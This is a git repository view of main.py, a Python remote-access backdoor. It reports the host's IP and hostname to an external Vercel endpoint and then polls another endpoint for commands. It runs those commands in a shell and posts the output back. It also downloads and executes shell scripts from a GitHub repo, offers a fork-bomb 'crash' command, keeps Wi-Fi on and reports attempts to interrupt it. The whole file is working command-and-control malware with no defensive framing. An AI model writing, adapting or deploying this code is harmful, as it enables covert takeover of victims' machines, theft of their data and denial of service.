summaryrefslogtreecommitdiff
path: root/main.py
blob: c1355bd6e4300f8ad3f13c45ba86ab19cf02cfc2 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
try:
    from os import system as ossystem
    from requests import get, post
    from time import sleep
    from subprocess import Popen as system
    from subprocess import PIPE
    from os import chdir, uname
    from sys import platform

    old_command = ""
    command = ""

    ip = get('https://api.ipify.org').content.decode('utf8')
    hostname = uname()[1]
    post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"New client IP: `{ip}@{hostname}`")
except KeyboardInterrupt:
    try:
        post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{ip}@{hostname} ``Client tried to SIGINT(Ctrl+C) when init``")
        pass
    except KeyboardInterrupt:
        pass
    pass


while True:
    # prevent keyboardinterrupt
    try:
        ossystem("/usr/sbin/networksetup -setairportpower en0 on")
    except:
        continue
    try:
        #get HTML
        try:
            command = get("https://discord-bot-command-inputter-littleblack111.vercel.app").content.decode()
            if command.startswith('Error: 429 - {"message": "You are being rate limited.", "retry_after":'):
                try:
                    sleep(5)
                    continue
                except KeyboardInterrupt:
                    post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{ip}@{hostname}: ``Client tried to SIGINT(Ctrl+C) when waiting discord api timeout(rate-limit)``")
        except KeyboardInterrupt:
            try:
                post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{ip}@{hostname}: ``Client tried to SIGINT(Ctrl+C) when handling discord api``")
            except KeyboardInterrupt:
                ossystem("/usr/sbin/networksetup -setairportpower en0 on")
                continue
            continue
        except:
            ossystem("/usr/sbin/networksetup -setairportpower en0 on")
            sleep(3)
            continue
        # execute command
        localcmd = None
        if old_command != command:
            try:
                if command.startswith("exename "):
                    localcmd = command.split()
                    if localcmd[1] == hostname:
                        del localcmd[:2]
                        localcmd = ' '.join(localcmd)
                    else:
                        old_command = command
                        continue
                if command.startswith("exeos "):
                    localcmd = command.split()
                    if localcmd[1] == platform:
                        del localcmd[:2]
                        localcmd = ' '.join(localcmd)
                    else:
                        old_command = command
                        continue
                if command.startswith("crash"):
                    from os import fork
                    command = command.split()
                    if command[1<len(command)]:
                        for _ in range(command[1]):
                            fork()
                    else:
                        while 1:
                            fork()
                elif command.startswith('usetool'):
                    localcmd = command.split()
                    if localcmd[1<len(localcmd)]:
                        try:
                            exescript = get(f"https://github.com/littleblack111/remote-control-tools/raw/main/{localcmd[1]}").content.decode()
                            if localcmd[1].endswith(".sh"):
                                r = system(exescript, shell=True, stdout=PIPE, stderr=PIPE)
                                cmdout, cmderr = r.communicate()
                                try:
                                    post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```{cmdout.decode()}```")
                                except:
                                    try:
                                        post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Failed to sent output of usetool```")
                                    except KeyboardInterrupt:
                                        continue
                                    continue
                        except KeyboardInterrupt:
                            try:
                                post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{ip}@{hostname}: ``Client tried to SIGINT(Ctrl+C) while changing directory``")
                            except KeyboardInterrupt:
                                continue
                            continue
                        except Exception as e:
                            try:
                                post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{ip}@{hostname}: ``Failed to get script{e}``")
                            except KeyboardInterrupt:
                                continue
                            continue
                        old_command = command
                        continue

#                    try:
#                        post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{ip}@{hostname}: Pong!")
#                    except KeyboardInterrupt:
#                        post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{ip}@{hostname}: ``Client tried to SIGINT(Ctrl+C) when replying to ping``")
#                    except:
                        ossystem("/usr/sbin/networksetup -setairportpower en0 on")

#                       continue
                if command.startswith("cd"):
                    dir=command.replace('cd', '')
                    try:
                        chdir(dir)
                    except KeyboardInterrupt:
                        try:
                            post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{ip}@{hostname}: ``Client tried to SIGINT(Ctrl+C) while changing directory``")
                        except KeyboardInterrupt:
                            continue
                        continue
                    except FileNotFoundError:
                        post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``$ {command}`` ```No Such Directory```-{ip}@{hostname}")
                    except:
                        ossystem("/usr/sbin/networksetup -setairportpower en0 on")

                        continue
                old_command = command
                if localcmd:
                    r = system(localcmd, shell=True, stdout=PIPE, stderr=PIPE)
                    cmdout, cmderr = r.communicate()
                else:
                    r = system(command, shell=True, stdout=PIPE, stderr=PIPE)
                    cmdout, cmderr = r.communicate()
                try:
                    if r.returncode != 0:
                        if r.returncode == 127:
                            if localcmd:
                                post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Error: {localcmd}: Command not found```")
                            else:
                                post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {command}`` ```Error: {command}: Command not found```")
                        else:
                            if localcmd:
                                post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```Error: {cmderr.decode()} exited with code {r.returncode}```- {ip}@{hostname}")
                            else:
                                post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {command}`` ```Error: {cmderr.decode()} exited with code {r.returncode}```- {ip}@{hostname}")
                    elif r.returncode != 0 and cmdout.decode() == "":
                        post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {command}`` ```Error: exited with no output and code {r.returncode}```- {ip}@{hostname}")
                except KeyboardInterrupt:
                    try:
                        post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{ip}@{hostname}: ``Client tried to SIGINT(Ctrl+C) when trying to post (error)output``")
                    except KeyboardInterrupt:
                            continue
                    continue
                except:
                    ossystem("/usr/sbin/networksetup -setairportpower en0 on")

                    continue
                if cmdout.decode() != "" and cmderr.decode() == "":
                    try:
                        if localcmd:
                             post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {localcmd}`` ```{cmdout.decode()}```")
                        else:
                            post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {command}`` ```{cmdout.decode()}```")
                    except KeyboardInterrupt:
                        try:
                            post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{ip}@{hostname}: ``Client tried to SIGINT(Ctrl+C) when trying to post output``")
                        except KeyboardInterrupt:
                                continue
                        continue
                    except:
                        ossystem("/usr/sbin/networksetup -setairportpower en0 on")

                        continue
                elif cmdout.decode() == "" and cmderr.decode() == "":
                    try:
                        post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``$ {command}`` ```Command Executed successfully without output```- {ip}@{hostname}")
                    except KeyboardInterrupt:
                        try:
                            post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{ip}@{hostname}: ``Client tried to SIGINT(Ctrl+C) when trying to post output``")
                        except KeyboardInterrupt:
                                continue
                        continue
                    except:
                        ossystem("/usr/sbin/networksetup -setairportpower en0 on")

                        continue
                old_command = command
                continue
            except:
                continue
        try:
            sleep(0.1)
        except KeyboardInterrupt:
            try:
                post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{ip}@{hostname}: ``Client tried to SIGINT(Ctrl+C)``")
            except KeyboardInterrupt:
                continue
            continue
    except KeyboardInterrupt:
        try:
            post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{ip}@{hostname}: ``Client tried to SIGINT(Ctrl+C)``")
        except KeyboardInterrupt:
            continue
        continue
    except:
        continue